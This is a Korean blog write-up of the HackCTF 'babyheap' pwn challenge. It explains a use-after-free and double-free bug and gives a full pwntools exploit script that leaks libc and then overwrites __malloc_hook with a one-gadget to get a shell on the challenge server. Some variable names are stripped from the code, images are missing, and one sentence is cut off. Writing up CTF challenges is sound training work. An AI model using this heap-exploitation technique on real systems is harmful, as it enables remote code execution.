HackCTF - babyheap

2020. 12. 17. 22:39CTF's Write-up

문제 화면

 

 

문제 화면입니다. 해당 문제를 ida 까게되면 다음과 같은 main을 볼 수 있습니다.

 

 

 

free함수에서 free한 후 memset을 해주지 않아서 취약점이 발생합니다.

 

 

 

show를 이용해서 

 

 

double free취약점을 이용해서 malloc_hook을 덮으면 exploit이 가능합니다.

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3030)
#r = process("./babyheap")
= ELF("./babyheap")
= ELF("./libc.so.6")
#context.log_level = "debug"
 
ptr_add = 0x0000000000602060
read_add = 0x00000000004005F0
read_offset = l.sym['read']
malloc_hook_off = l.sym['__malloc_hook']
one_shot_off = 0xf02a4
 
def show(num) :
    r.recvuntil("> ")
    r.sendline("3")
    r.recvuntil("index: ")
    r.sendline(num)
 
def malloc(size, comment) :
    r.recvuntil("> ")
    r.sendline("1")
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("content: ")
    r.sendline(comment)
 
def free(index) :
    r.recvuntil("> ")
    r.sendline("2")
    r.recvuntil("index: ")
    r.sendline(str(index))
 
 
 
show(str((read_add-ptr_add)/8))
leak = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00')
libc_base = leak - read_offset
malloc_hook_add = libc_base + malloc_hook_off
one_shot_add = libc_base + one_shot_off
 
log.info("leak = " + hex(leak))
log.info("libc_base = " + hex(libc_base))
log.info("malloc_hook_add = " + hex(malloc_hook_add))
log.info("one_shot_add = " + hex(one_shot_add))
 
malloc(89,"A"*8)
malloc(89,"B"*8)
 
free(0)
free(1)
free(0# A --> B --> A
 
malloc(89,p64(malloc_hook_add-35))
malloc(89,"C"*8)
malloc(89,"D"*8)
malloc(89,"E"*19+p64(one_shot_add)) #malloc_hook overwrite
 
free(2)
free(2# crack --> call malloc_hook --> get shell
 
r.interactive()
cs

 

 

pay입니다. 실행하면 아래와 같습니다.

 

'CTF's Write-up' 카테고리의 다른 글

DreamHack - ssp_000  (0) 2020.12.19
DreamHack - basic_rop_x86  (0) 2020.12.18
DreamHack - basic_rop_x64  (0) 2020.12.16
DreamHack - memory_leakage  (0) 2020.12.15
DreamHack - basic_heap_overflow  (0) 2020.12.12